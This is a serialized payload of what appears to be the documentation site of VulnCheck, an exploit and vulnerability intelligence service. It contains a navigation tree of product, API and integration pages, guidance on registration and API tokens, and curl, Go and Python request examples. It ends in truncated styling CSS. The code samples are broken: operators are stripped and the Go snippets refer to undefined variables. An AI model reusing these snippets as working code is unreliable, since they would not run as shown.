packages.,{title:91,path:92,stem:93,description:94},End-of-Life Software,/products/exploit-and-vulnerability-intelligence/end-of-life,02.products/01.exploit-and-vulnerability-intelligence/010.end-of-life,Leverage VulnCheck Exploit & Vulnerability Intelligences End-of-Life software tracking to know if a host can no longer be patched.,null,{title:97,path:98,stem:99,children:100,description:95},Initial Access Intelligence,/products/initial-access-intelligence,02.products/02.initial-access-intelligence/001.index,101,103,108,113,118,123,128,{title:97,path:98,stem:99,description:102},Leverage Initial Access Intelligence detection artifacts to detect & respond to remote code execution (RCE) vulnerabilities.,{title:104,path:105,stem:106,description:107},Coverage Strategy,/products/initial-access-intelligence/coverage-strategy,02.products/02.initial-access-intelligence/002.coverage-strategy,The VulnCheck Initial Access Intelligence product covers a limited subset of known vulnerabilities, those vulnerabilities likely to become widely exploited in the future.,{title:109,path:110,stem:111,description:112},Detection Artifacts,/products/initial-access-intelligence/detection-artifacts,02.products/02.initial-access-intelligence/003.detection-artifacts,The VulnCheck Initial Access Intelligence product includes detection artifacts in a wide range of formats, to enable defenders to quickly detect & respond to emerging threats.,{title:114,path:115,stem:116,description:117},Example Initial Access Artifacts,/products/initial-access-intelligence/example-artifacts,02.products/02.initial-access-intelligence/004.example-artifacts,VulnCheck Initial Access Intelligence example record for PaperCut (CVE-2023-27350),{title:119,path:120,stem:121,description:122},Fetch Detection Artifacts,/products/initial-access-intelligence/fetch-artifacts,02.products/02.initial-access-intelligence/005.fetch-artifacts,To download the latest available detection artifacts, VulnCheck Initial Access Intelligence detection artifacts are available via git, backup file, and API.,{title:124,path:125,stem:126,description:127},Compile Exploit Code,/products/initial-access-intelligence/compile-exploits,02.products/02.initial-access-intelligence/006.compile-exploits,Use Docker to compile and run the VulnCheck provided go-exploit scanner,{title:129,path:130,stem:131,description:132},Request Coverage,/products/initial-access-intelligence/request-coverage,02.products/02.initial-access-intelligence/007.request-coverage,To request coverage of a specific Initial Access Vulnerability, simply contact VulnCheck support.,{title:134,path:135,stem:136,children:137,description:95},IP Intelligence,/products/ip-intelligence,02.products/03.ip-intelligence/001.index,138,140,144,149,{title:134,path:135,stem:136,description:139},VulnCheck IP Intelligence includes tracking of potentially vulnerable systems that may be targeted by initial access exploits as well as tracking of command & control (C2) attacker infrastructure and honeypots.,{title:141,path:142,stem:143,description:139},Searching IP Data,/products/ip-intelligence/ip-search,02.products/03.ip-intelligence/002.ip-search,{title:145,path:146,stem:147,description:148},Firewall Dynamic Blocklists,/products/ip-intelligence/firewall-denylist,02.products/03.ip-intelligence/003.firewall-denylist,VulnCheck IP Intelligence includes a Tags API endpoint that returns a list of IP addresses associated with a given tag or filter.,{title:150,path:151,stem:152,description:153},Protective DNS,/products/ip-intelligence/protective-dns,02.products/03.ip-intelligence/004.protective-dns,VulnCheck IP Intelligence includes a Protective DNS API endpoint that returns a list of hostnames associated with a given tag or filter.,Learn more about our products,i-mdi-package-variant-closed,{title:157,path:158,stem:159,children:160,description:225,icon:226},API,/api,03.api/001.index,161,164,169,175,180,185,190,195,200,205,210,215,220,{title:162,path:158,stem:159,description:163},API Overview,All available v3 API resources,{title:165,path:166,stem:167,description:168},/v3/index,/api/indices,03.api/002.indices,Return a list of indexes with endpoint links that your account is licensed for.,{title:170,path:171,stem:172,description:173,order:174},/v3/index/{index},/api/indice,03.api/003.indice,Retrieve a paginated list of all documents from the index of your choice. By default, a maximum of 100 documents are shown per page.,2,{title:176,path:177,stem:178,description:179},/v3/backup/{index},/api/backup,03.api/004.backup,Request a link to the backup of an index,{title:181,path:182,stem:183,description:184},/v3/backup,/api/backups,03.api/005.backups,Return a list of backup with their endpoint links.,{title:186,path:187,stem:188,description:189},/v3/purl,/api/purl,03.api/006.purl,Request vulnerabilities related to a PURL,{title:191,path:192,stem:193,description:194},/v3/cpe,/api/cpe,03.api/007.cpe,Request vulnerabilities related to a CPE,{title:196,path:197,stem:198,description:199},/v3/rules/initial-access/{rules},/api/rules,03.api/008.rules,Request Initial Access Intelligence Suricata or Snort rules,{title:201,path:202,stem:203,description:204},/v3/tags/{filter},/api/tags,03.api/009.tags,Return a list of newline-separated (or JSON) IP addresses based on a IP tag,{title:206,path:207,stem:208,description:209},/v3/pdns/{filter},/api/pdns,03.api/010.pdns,Return a list of newline-separated (or JSON) hostnames based on a hostname list for Protective DNS,{title:211,path:212,stem:213,description:214},/v3/openapi,/api/openapi,03.api/011.openapi,Return the OpenAPI specification for the API,{title:216,path:217,stem:218,description:219},/v3/search/cpe,/api/search_cpe,03.api/012.search_cpe,Request vulnerabilities related to specific CPE attributes,{title:221,path:222,stem:223,description:224},/v3/identify,/api/identify,03.api/013.identify,Request identifiers related to a (vendor, product, version) query,Endpoints optimized for programmatic access and deliver JSON machine-readable data.,i-mdi-gear,{title:228,path:229,stem:230,children:231,description:284,icon:285},Indices,/indices,04.indices/001.index,232,235,240,245,250,255,260,265,270,275,280,{title:233,path:229,stem:230,description:234},Introduction to Indices,An autonomous system aggregating OSINT, exploit intelligence, and vulnerability data into API indices for threat analysis.,{title:236,path:237,stem:238,description:239},VulnCheck Intelligence,/indices/vulncheck-intelligence,04.indices/002.vulncheck-intelligence,Unique vulnerability and exploit intelligence generated by VulnChecks autonomous system, providing cutting-edge insights and analysis.,{title:241,path:242,stem:243,description:244},Product Security Advisories,/indices/product-security-advisories,04.indices/003.product-security-advisories,Comprehensive collection of security advisories from various product vendors, offering critical information on vulnerabilities and patches.,{title:246,path:247,stem:248,description:249},OT Security Advisories,/indices/ot-security-advisories,04.indices/004.ot-security-advisories,Specialized advisories focusing on Operational Technology (OT) systems, crucial for industrial and infrastructure security.,{title:251,path:252,stem:253,description:254},IoMT Security Advisories,/indices/iomt-security-advisories,04.indices/005.iomt-security-advisories,Targeted advisories for Internet of Medical Things (IoMT) devices, addressing specific vulnerabilities in healthcare technology.,{title:256,path:257,stem:258,description:259},Security Research Advisories,/indices/security-research-advisories,04.indices/006.security-research-advisories,Curated advisories from security researchers and organizations, providing in-depth analysis and discoveries in cybersecurity.,{title:261,path:262,stem:263,description:264},Government Security Advisories,/indices/government-security-advisories,04.indices/007.government-security-advisories,Official security advisories from government entities, offering authoritative information on national and international cybersecurity concerns.,{title:266,path:267,stem:268,description:269},Open Source Security Advisories,/indices/open-source-security-advisories,04.indices/008.open-source-security-advisories,Comprehensive collection of advisories for open-source software, crucial for maintaining security in widely-used open technologies.,{title:271,path:272,stem:273,description:274},Open Source Package Managers,/indices/open-source-package-managers,04.indices/009.open-source-package-managers,Integration with various open-source package managers to track and report vulnerabilities in software dependencies.,{title:276,path:277,stem:278,description:279},Vulnerability Databases,/indices/vulnerability-databases,04.indices/010.vulnerability-databases,A collection of Vulnerability Databases from across the world.,{title:56,path:281,stem:282,description:283},/indices/vulnerability-intelligence,04.indices/011.vulnerability-intelligence,Comprehensive vulnerability data aggregated from multiple sources, enriched with VulnChecks analysis and metadata.,Aggregates OSINT, exploit intelligence, and vulnerability data into API indices for threat analysis.,i-mdi-list-box,{title:287,path:288,stem:289,children:290,description:293,icon:339},Open Source Tools,/tools,05.tools/001.index,291,294,299,304,309,314,{title:292,path:288,stem:289,description:293},Tools Overview,Continuously expanding with new tools, enhancements, and real-time updates to improve open-source security intelligence.,{title:295,path:296,stem:297,description:298},Go Exploit,/tools/go-exploit,05.tools/002.go-exploit,Go Exploit facilitates faster, more portable, and feature-rich exploit development.,{title:300,path:301,stem:302,description:303},Go SDK,/tools/go-sdk,05.tools/003.go-sdk,Bring VulnCheck to your Go Applications,{title:305,path:306,stem:307,description:308},Python SDK,/tools/python-sdk,05.tools/004.python-sdk,Bring VulnCheck to your Python Applications,{title:310,path:311,stem:312,description:313},VulnCheck Insights,/tools/insights,05.tools/005.insights,A Chrome Browser Plug-in for Easy Access to VulnCheck Intelligence,{title:315,path:316,stem:317,children:318,description:337,icon:338},VulnCheck CLI,/tools/cli,05.tools/01.cli/001.index,319,322,327,332,{title:320,path:316,stem:317,description:321},The VulnCheck CLI,Take VulnCheck anywhere with the VulnCheck CLI,{title:323,path:324,stem:325,description:326},VulnCheck Offline,/tools/cli/offline,05.tools/01.cli/002.offline,Run VulnCheck CLI commands blazing fast without internet.,{title:328,path:329,stem:330,description:331},CLI Commands,/tools/cli/examples,05.tools/01.cli/003.examples,A list of example commands that can be used with VulnCheck CLI.,{title:333,path:334,stem:335,description:336},CLI JQ Commands,/tools/cli/examples-jq,05.tools/01.cli/004.examples-jq,A list of example JQ commands that can be used with VulnCheck CLI.,Leverage the VulnCheck CLI to access VulnCheck intelligence from your terminal.,i-mdi-powershell,i-mdi-wrench-outline,{title:341,path:342,stem:343,children:344,description:347,icon:403},Integrations,/integrations,06.integrations/001.index,345,348,353,358,363,368,373,378,383,388,393,398,{title:346,path:342,stem:343,description:347},VulnCheck Integrations,VulnCheck includes integrations with many popular cybersecurity products & tools.,{title:349,path:350,stem:351,description:352},Checkpoint Quantum Security Gateway,/integrations/checkpoint,06.integrations/002.checkpoint,VulnCheck IP Intelligence improves Checkpoint Quantum Security Gateway deployments by providing real-time IP Address data via our Tags API.,{title:354,path:355,stem:356,description:357},Cisco ASA,/integrations/cisco,06.integrations/003.cisco,VulnCheck IP Intelligence improves Cisco ASA deployments by providing real-time IP Address data via our Tags API.,{title:359,path:360,stem:361,description:362},Fortinet FortiGate,/integrations/fortinet,06.integrations/004.fortinet,VulnCheck IP Intelligence improves Fortinet FortiGate deployments by providing real-time IP Address data via our Tags API.,{title:364,path:365,stem:366,description:367},Palo Alto Networks NGFW,/integrations/panw,06.integrations/005.panw,VulnCheck IP Intelligence improves Palo Alto Networks NGFW deployments by providing real-time IP Address data via our Tags API.,{title:369,path:370,stem:371,description:372},Microsoft Power BI,/integrations/powerbi,06.integrations/006.PowerBI,Microsoft Power BI can leverage VulnCheck KEV API as an intelligence source for Known Exploited Vulnerabilities. Include timely evidence of CVE exploitation such as software vendor, products, reference articles and VulnCheck XDB links in your PowerBI applications.,{title:374,path:375,stem:376,description:377},IDSTower,/integrations/idstower,06.integrations/007.idstower,IDSTower can use the VulnCheck Initial Access Intelligence API as a source of Suricata rules.,{title:379,path:380,stem:381,description:382},Tines,/integrations/tines,06.integrations/008.Tines,Monitor emerging threats and build automations into your vulnerability management workflow using VulnCheck and Tines.,{title:384,path:385,stem:386,description:387},Jupyter Notebook,/integrations/jupyter,06.integrations/009.jupyter,Explore and visualize VulnCheck data in your Jupyter Notebooks using the Python SDK.,{title:389,path:390,stem:391,description:392},Cyware Threat Intelligence Exchange,/integrations/ctix,06.integrations/010.ctix,Explore and visualize VulnCheck data in CTIX by Cyware.,{title:394,path:395,stem:396,description:397},Filigran OpenCTI,/integrations/opencti,06.integrations/011.opencti,Explore and visualize VulnCheck data in OpenCTI by Filigran.,{title:399,path:400,stem:401,description:402},ServiceNow,/integrations/servicenow,06.integrations/012.servicenow,Vulncheck for Vulnerability Response,i-mdi-handshake,{title:405,path:406,stem:407,children:408,description:411,icon:412},Alerts,/alerts,07.alerts/001.index,409,{title:410,path:406,stem:407,description:411},Alerts (Email / Slack),VulnCheck users can easily set up VulnCheck KEV (Known Exploited Vulnerabilities) alerts through Email and Slack.,i-mdi-bell-outline,{title:414,path:415,stem:416,children:417,description:420,icon:503},Community,/community,08.community/001.index,418,421,448,483,490,{title:419,path:415,stem:416,description:420},VulnCheck Community,Access the premier source for open Vulnerability and Exploit Intelligence,{title:422,path:423,stem:424,children:425,description:95},VulnCheck KEV,/community/vulncheck-kev,08.community/01.vulncheck-kev/001.index,426,428,433,438,443,{title:48,path:423,stem:424,description:427},VulnCheck KEV makes it easy to see which vulnerabilities have been exploited in the wild.,{title:429,path:430,stem:431,description:432},Coverage Criteria,/community/vulncheck-kev/coverage-criteria,08.community/01.vulncheck-kev/002.coverage-criteria,Only vulnerabilities reported to have been exploited in the wild are included in VulnCheck KEV.,{title:434,path:435,stem:436,description:437},API / Schema,/community/vulncheck-kev/schema,08.community/01.vulncheck-kev/003.schema,Integrate with VulnCheck KEV using an open API / JSON schema that is easy to follow.,{title:439,path:440,stem:441,description:442},Attribution Notice,/community/vulncheck-kev/attribution,08.community/01.vulncheck-kev/004.attribution,Leveraging VulnCheck KEV and the data in it, in your own production, solution, or service, is easy to do at no additional cost, but requires prominent attribution to VulnCheck.,{title:444,path:445,stem:446,description:447},FAQ,/community/vulncheck-kev/faq,08.community/01.vulncheck-kev/005.faq,Frequently Asked Questions about working with and integrating with VulnCheck KEV.,{title:449,path:450,stem:451,children:452,description:95},NVD++,/community/nist-nvd,08.community/02.nist-nvd/001.index,453,455,460,465,470,475,479,{title:48,path:450,stem:451,description:454},VulnCheck makes it easy to migrate from the NIST NVD to NVD++ from VulnCheck.,{title:456,path:457,stem:458,description:459},NIST NVD 1.0,/community/nist-nvd/nvd-1-retired,08.community/02.nist-nvd/002.nvd-1-retired,VulnCheck makes it easy to migrate from the NIST NVD 1.0 to NVD++ from VulnCheck.,{title:461,path:462,stem:463,description:464},NIST NVD 2.0,/community/nist-nvd/nvd-2,08.community/02.nist-nvd/003.nvd-2,VulnCheck makes it easy to migrate from the NIST NVD 2.0 to NVD++ from VulnCheck.,{title:466,path:467,stem:468,description:469},MITRE CVE List,/community/nist-nvd/mitre-cve,08.community/02.nist-nvd/004.mitre-cve,VulnCheck makes it easy to access MITRE CVE List V5 data.,{title:471,path:472,stem:473,description:474},VulnCheck Community CPE Schema,/community/nist-nvd/schema,08.community/02.nist-nvd/005.schema,Integrate with NVD 1.0 and NVD 2.0 using long established schemas with additional VulnCheck fields,{title:439,path:476,stem:477,description:478},/community/nist-nvd/attribution,08.community/02.nist-nvd/006.attribution,Leveraging VulnCheck NVD++ and the data in it, in your own production, solution, or service, is easy to do at no additional cost, but requires prominent public attribution to VulnCheck.,{title:444,path:480,stem:481,description:482},/community/nist-nvd/faq,08.community/02.nist-nvd/007.faq,Frequently Asked Questions about NVD++ from VulnCheck.,{title:484,path:485,stem:486,children:487,description:95},Report a Vulnerability,/community/report-a-vulnerability,08.community/03.report-a-vulnerability/001.index,488,{title:48,path:485,stem:486,description:489},VulnCheck Report A Vulnerability makes it easy to Report a vulnerability to VulnCheck to be responsibly disclosed,{title:491,path:492,stem:493,children:494,description:95},Featured Projects,/community/featured-projects,08.community/04.featured-projects/001.index,495,498,{title:496,path:492,stem:493,description:497},Open Source,Open Source Projects that have incorporated VulnCheck KEV or NVD++,{title:499,path:500,stem:501,description:502},Commercial,/community/featured-projects/commerical-products,08.community/04.featured-projects/002.commerical-products,Commercial Products that have incorporated VulnCheck KEV or NVD++,i-mdi-people-group-outline,{title:505,path:506,stem:507,children:508,description:512,icon:513},Knowledge Base,/kb,09.kb/001.index,509,{title:510,path:506,stem:507,description:511},Exploit Intelligence 101,A description of industry terms and VulnChecks definitions, as used in Exploit & Vulnerability Intelligence and Initial Access Intelligence products.,Exploit Intelligence 101 community knowledge base,i-mdi-book-search,{title:515,path:516,icon:517,description:518},Changelog,/changelog,i-mdi-format-list-text,Recent changes to the VulnCheck API,{title:520,path:521,icon:522,description:523},Initial Access,/initial-access,i-mdi-door-open,Weekly Initial Access Release Notes,525,529,532,537,543,548,551,556,561,566,571,576,581,584,589,594,599,604,609,612,617,622,625,628,633,638,641,646,651,656,661,666,671,676,681,687,692,695,700,705,710,715,720,725,730,733,738,743,748,753,756,761,766,771,776,781,786,790,795,800,805,810,815,820,825,830,835,840,845,850,854,859,864,869,874,879,884,889,894,899,904,909,911,916,921,926,931,936,939,943,948,953,958,961,965,970,975,978,983,988,993,998,1001,1006,1011,1016,1021,1024,1029,1034,1039,1042,1045,1048,1053,1058,1061,1066,1071,1074,1079,1084,1089,1094,1097,1100,1102,1106,1111,1116,1121,1123,1128,1133,1138,1143,1146,1151,1156,1161,1166,1169,1173,1177,1181,1183,1187,1192,1197,1202,1207,1209,1213,1218,1223,1227,1229,1234,1239,1244,1249,1253,1257,1260,1264,1268,1272,1274,1278,1282,1286,1289,1293,1297,1301,1304,1308,1312,1316,1319,1323,1326,1329,1332,1336,1339,1343,1346,1350,1352,1355,1359,1363,1366,1370,1373,1378,1382,1387,1391,1394,1398,1402,1406,1408,1412,1417,1421,1426,1428,1431,1436,1441,1446,1451,1456,1461,1466,1471,1476,1481,1486,1491,1496,1501,1506,1511,1516,1521,1526,1531,1536,1541,1546,1550,1555,1560,1565,1567,1570,1575,1580,1585,1590,1595,1600,1605,1610,1615,1620,1625,1630,1635,1640,1645,1650,1655,1660,1665,1670,1675,1680,1685,1690,1695,1700,1705,1710,1715,1720,1725,1730,1735,1740,1745,1750,1755,1760,1765,1770,1775,1780,1785,1790,1795,1800,1805,1810,1815,1820,1825,1830,1835,1840,1845,1850,1855,1860,1865,1870,1875,1880,1885,1890,1895,1900,1905,1910,1915,1920,1925,1930,1935,1940,1945,1950,1955,1960,1965,1970,1975,1980,1985,1990,1995,2000,2005,2010,2015,2020,2025,2030,2035,2040,2045,2050,2055,2060,2065,2070,2075,2080,2085,2090,2095,2100,2105,2110,2115,2120,2125,2130,2135,2140,2145,2150,2155,2160,2165,2170,2175,2180,2185,2190,2195,2200,2205,2210,2215,2220,2225,2230,2235,2240,2245,2250,2255,2260,2265,2270,2275,2280,2285,2290,2295,2300,2305,2310,2315,2320,2325,2330,2335,2340,2345,2350,2355,2360,2365,2370,2375,2380,2385,2390,2395,2400,2405,2410,2415,2420,2425,2430,2435,2437,2440,2445,2450,2455,2460,2465,2470,2475,2480,2485,2490,2495,2500,2505,2510,2515,2520,2525,2530,2535,2540,2545,2550,2555,2560,2565,2570,2575,2580,2585,2590,2595,2600,2605,2610,2615,2620,2625,2630,2635,2640,2645,2650,2655,2660,2662,2665,2670,2675,2680,2685,2690,2695,2700,2705,2710,2715,2720,2725,2730,2735,2740,2745,2747,2750,2755,2760,2765,2770,2775,2780,2785,2790,2795,2800,2805,2810,2815,2820,2825,2830,2835,2840,2845,2850,2855,2860,2865,2870,2875,2880,2885,2890,2895,2900,2905,2910,2915,2920,2922,2925,2930,2935,2940,2945,2950,2955,2960,2965,2970,2975,2980,2985,2990,2995,3000,3005,3010,3015,3020,3025,3030,3035,3040,3045,3050,3055,3060,3065,3070,3075,3080,3085,3090,3095,3097,3100,3105,3110,3115,3120,3125,3130,3135,3140,3145,3150,3155,3160,3165,3170,3175,3180,3185,3190,3195,3200,3205,3210,3215,3220,3225,3230,3235,3240,3245,3248,3253,3258,3263,3268,3273,3277,3282,3287,3292,3297,3302,3307,3312,3317,3322,3327,3332,3337,3342,3347,3352,3357,3362,3367,3372,3377,3382,3387,3392,3397,3402,3407,3412,3417,3422,3427,3432,3437,3442,3447,3452,3457,3462,3467,3472,3477,3479,3482,3487,3492,3497,3502,3507,3512,3517,3522,3527,3532,3537,3542,3547,3552,3557,3562,3567,3572,3577,3579,3582,3587,3592,3597,3602,3607,3611,3616,3621,3623,3626,3631,3636,3641,3646,3651,3656,3661,3666,3671,3676,3681,3686,3691,3695,3700,3705,3710,3715,3720,3725,3730,3735,3740,3745,3750,3755,3760,3765,3768,3771,3776,3781,3786,3789,3794,3799,3804,3809,3812,3817,3822,3827,3832,3837,3839,3844,3849,3852,3857,3862,3867,3872,3877,3880,3885,3889,3894,3896,3901,3906,3911,3916,3921,3923,3928,3933,3936,3941,3946,3951,3956,3961,3964,3969,3974,3977,3982,3987,3990,3995,4000,4003,4008,4013,4015,4020,4022,4026,4028,4033,4038,4041,4046,4051,4056,4061,4064,4069,4074,4077,4082,4087,4089,4093,4098,4103,4107,4112,4116,4121,4126,4131,4134,4139,4143,4148,4153,4158,4163,4168,4173,4178,4182,4187,4191,4196,4201,4206,4211,4216,4221,4224,4229,4234,4239,4244,4247,4250,4254,4259,4264,4269,4274,4277,4281,4284,4288,4293,4298,4303,4306,4311,4316,4319,4323,4328,4333,4338,4343,4348,4353,4356,4361,4366,4369,4374,4379,4383,4386,4390,4393,4396,4399,4403,4406,4411,4416,4419,4422,4425,4429,4433,4437,4441,4446,4451,4454,4459,4464,4467,4470,4472,4476,4481,4486,4491,4496,4501,4506,4511,4516,4521,4526,4530,4535,4539,4543,4548,4553,4558,4563,4568,4573,4578,4583,4588,4593,4598,4603,4608,4613,4618,4623,4628,4633,4638,4643,4648,4653,4658,4663,4668,4673,4678,{id:7,title:11,titles:526,content:527,level:528},,An introduction to our Exploit Intelligence Platform Explore VulnCheck, a next-generation Cyber Threat Intelligence platform, which provides exploit and vulnerability intelligence directly into the tools, processes, programs, and systems that need it, to outpace adversaries. The VulnCheck platform currently includes the following commercially-licensed products: Exploit & Vulnerability IntelligenceInitial Access IntelligenceIP Intelligence The VulnCheck platform also includes a set of Community products at no cost, including: VulnCheck KEVNVD++XDBReport a Vulnerability VulnCheck also has open sourced go-exploit, an SDK for Go and CLI for getting up and running with our API more quickly. To fetch either the SDK or the CLI, see: VulnCheck SDK for GoVulnCheck SDK for PythonVulnCheck CLIgo-exploit,1,{id:15,title:14,titles:530,content:531,level:528},,Its easy to register for an account on the VulnCheck platform. To register for an account, go to https://console.vulncheck.com and put in your email address and click next\nyou will be asked to continue with Google Auth or Continue with an email Magic link,{id:533,title:534,titles:535,content:536,level:528},/getting-started/register#portal-authentication,Portal Authentication,,To register or login to the VulnCheck platform, you have multiple authentication options: You can sign in with a username and password.\nUpon account creation you can add 2fa, passkeys, or email verification code.,{id:538,title:539,titles:540,content:541,level:542},/getting-started/register#for-paid-customers-oidc-login-will-be-available,For Paid Customers OIDC Login will be available,534,For paying organizations, you can log in using OpenID Connect (OIDC) with the following providers: GoogleGitHubOktaAuth0Ping IdentityMicrosoft Note: If you previously used a magic link to log in, you will first need to set up a password on your account before switching to OIDC login. You will be prompted to do this upon your first login to the upgraded authentication system.,3,{id:544,title:545,titles:546,content:547,level:542},/getting-started/register#other-login-options,Other Login Options,534,OAuth 2.0 (Google): Available to all users.Password w/ MFA: Available to all users.Passwordless (e.g. FaceId, TouchId, YubiKey, etc.): Available to all users.,{id:20,title:19,titles:549,content:550,level:528},,All VulnCheck platform API calls require a valid API token issued by VulnCheck. The VulnCheck platform uses a token system that is shared by both the API and the portal. This shared token system allows you to use the API and web portal with the same token (and flip back and forth between the two) as well as manage your tokens in one place. This guide will walk you through the process of creating and using tokens.,{id:552,title:553,titles:554,content:555,level:174},/getting-started/api-tokens#issue-an-api-token,Issue an API token,19,To get started with making API calls to the VulnCheck platform, you need to issue a token to your account. To do so, follow the instructions below: Navigate to the Tokens & SSH Keys page under your user profile in the top right.Click on the Create Token button at top right.Enter a Label and choose a Token Icon to help remember what the API token is intended to be used for.Once you have created the token, you will be able to see the token value. Please note that this is the only time you will be able to see the token value. If you lose it, you will need to remove it and create a new token. Any token that has not been used for 30 days will expire.,{id:557,title:558,titles:559,content:560,level:174},/getting-started/api-tokens#using-the-api-token-in-http-requests,Using the API Token in HTTP Requests,19,VulnCheck supports 3 ways of passing your token.,{id:562,title:563,titles:564,content:565,level:542},/getting-started/api-tokens#api-token-via-bearer-authorization-header,API Token via Bearer Authorization Header,19,558,Adding it as a custom header as Authorization: Bearer insert_token_here. curl --request GET \\\n  --url https://api.vulncheck.com/v3/index/initial-access \\\n  --header Accept: application/json \\\n  --header Authorization: Bearer insert_token_here\nclient : &http.Client{}\nvar responseJSON interface{}\nrequest, _ : http.NewRequest(\GET\, \https://api.vulncheck.com/v3/index/initial-access\, nil)\nrequest.Header.Set(\Accept\, \application/json\)\nrequest.Header.Set(\Authorization\, \Bearer \ + \insert_token_here\)\n\nresponse, _ : http.DefaultClient.Do(req)\ndefer res.Body.Close()\n_ : json.NewDecoder(response.Body).Decode(responseJSON)\nimport requests\nurl  \https://api.vulncheck.com/v3/index/initial-access\\nheaders  {\n  \accept\: \application/json\,\n  \authorization\: \Bearer {token}\\n}\nparams  {}\n\nresponse  requests.get(url, headersheaders, paramsparams)\nprint(response.json()),{id:567,title:568,titles:569,content:570,level:542},/getting-started/api-tokens#api-token-via-query-parameter,API Token via Query Parameter,19,558,You can pass the API Token as a GET/URL parameter - making it easy to test tokens and browse endpoints in a browser. curl --request GET \\\n     --url https://api.vulncheck.com/v3/index/initial-access \\\n     --header Accept: application/json \\\n     --url-query tokeninsert_token_here\nclient : &http.Client{}\nvar responseJSON interface{}\nrequest, _ : http.NewRequest(\GET\, \https://api.vulncheck.com/v3/index/initial-access\, nil)\nrequest.Header.Set(\Accept\, \application/json\)\nparams : url.Values{}\nparams.Add(\token\, \insert_token_here\)\n\nresponse, _ : http.DefaultClient.Do(req)\ndefer res.Body.Close()\n_ : json.NewDecoder(response.Body).Decode(responseJSON)\nimport requests\nurl  \https://api.vulncheck.com/v3/index/initial-access\\nheaders  {\n  \accept\: \application/json\\n}\nparams  {\n  \token\: \insert_token_here\\n}\n\nresponse  requests.get(url, headersheaders, paramsparams)\nprint(response.json()),{id:572,title:573,titles:574,content:575,level:542},/getting-started/api-tokens#api-token-via-a-javascript-cookie,API Token via a JavaScript Cookie,19,558,We allow the token to be passed as a cookie - this is actually how our web portal works, allowing you API access via the portal with full control of your tokens. curl --request GET \\\n     --url https://api.vulncheck.com/v3/index/initial-access \\\n     --header Accept: application/json \\\n     --cookie \tokeninsert_token_here\\nclient : &http.Client{}\nvar responseJSON interface{}\nrequest, _ : http.NewRequest(\GET\, \https://api.vulncheck.com/v3/index/initial-access\, nil)\nrequest.Header.Set(\Accept\, \application/json\)\nrequest.AddCookie(&http.Cookie{\n    Name:    \token\,\n    Value:   \insert_token_here\,\n})\n\nresponse, _ : http.DefaultClient.Do(req)\ndefer res.Body.Close()\n_ : json.NewDecoder(response.Body).Decode(responseJSON)\nimport requests\nurl  \https://api.vulncheck.com/v3/index/initial-access\\nheaders  {\n    \accept\: \application/json\\n}\ncookies  {\n    \token\: \insert_token_here\\n}\n\nresponse  requests.get(url, headersheaders, cookiescookies)\nprint(response.json()),{id:577,title:578,titles:579,content:580,level:174},/getting-started/api-tokens#using-the-api-token-in-the-cli-or-sdk,Using the API Token in the CLI or SDK,19,VulnCheck provides a CLI and SDK to interact with the API. You can use the token in the CLI or SDK by setting the VC_TOKEN environment variable. package main\n\nimport (\n    \context\\n    \encoding/json\\n    \fmt\\n    \log\\n    \os\\n\n    \github.com/vulncheck-oss/sdk-go-v2/vulncheck\\n)\n\nfunc main() {\n    configuration : vulncheck.NewConfiguration()\n    configuration.Scheme  \https\\n    configuration.Host  \api.vulncheck.com\\n\n    client : vulncheck.NewAPIClient(configuration)\n\n    token : os.Getenv(\VULNCHECK_API_TOKEN\)\n    auth : context.WithValue(\n        context.Background(),\n        vulncheck.ContextAPIKeys,\n        mapstringvulncheck.APIKey{\n            \Bearer\: {Key: token},\n        },\n    )\n    resp, httpRes, err : client.IndicesAPI.IndexInitialAccessGet(auth).Execute()\n\n    if err ! nil || httpRes.StatusCode ! 200 {\n        log.Fatal(err)\n    }\n\n    prettyJSON, err : json.MarshalIndent(resp.Data, \\, \  \)\n    if err ! nil {\n        log.Fatalf(\Failed to generate JSON: %v\, err)\n        return\n    }\n\n    fmt.Println(string(prettyJSON))\n}\nimport vulncheck_sdk\n\nconfiguration  vulncheck_sdk.Configuration(host\https://api.vulncheck.com/v3\)\nconfiguration.api_key\Bearer\  \insert_token_here\\n\nwith vulncheck_sdk.ApiClient(configuration) as api_client:\n    indices_client  vulncheck_sdk.IndicesApi(api_client)\n\n    api_response  indices_client.index_initial_access_get()\n\n    print(api_response.data)\nexport VC_TOKENinsert_token_here\nvulncheck index browse initial-access html pre.shiki code .sBMFI, html code.shiki .sBMFI{--shiki-light:#E2931D;--shiki-default:#FFCB6B;--shiki-dark:#FFCB6B}html pre.shiki code .sfazB, html code.shiki .sfazB{--shiki-light:#91B859;--shiki-default:#C3E88D;--shiki-dark:#C3E88D}html pre.shiki code .sTEyZ, html code.shiki .sTEyZ{--shiki-light:#90A4AE;--shiki-default:#EEFFFF;--shiki-dark:#BABED8}html pre.shiki code .sMK4o, html code.shiki .sMK4o{--shiki-light:#39ADB5;--shiki-default:#89DDFF;--shiki-dark:#89DDFF}html .light .shiki span {color: var(--shiki-light);background: var(--shiki-light-bg);font-style: var(--shiki-light-font-style);font-weight: var(--shiki-light-font-weight);text-decoration: var(--shiki-light-text-decoration);}html.light .shiki span {color: var(--shiki-light);background: var(--shiki-light-bg);font-style: var(--shiki-light-font-style);font-weight: var(--shiki-light-font-weight);text-decoration: var(--shiki-light-text-decoration);}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .s2Zo4, html code.shiki .s2Zo4{--shiki-light:#6182B8;--shiki-default:#82AAFF;--shiki-dark:#82AAFF}html pre.shiki code .s7zQu, html code.shiki .s7zQu{--shiki-light:#39ADB5;--shiki-light-font-style:italic;--shiki-default:#89DDFF;--shiki-default-font-style:italic;--shiki-dark:#89DDFF;--shiki-dark-font-style:italic}html pre.shiki code .sbssI, html code.shiki .sbssI{--shiki-light:#F76D47;--shiki-default:#F78C6C;--shiki-dark:#F78C6C}html pre.shiki code .sHdIc, html code.shiki 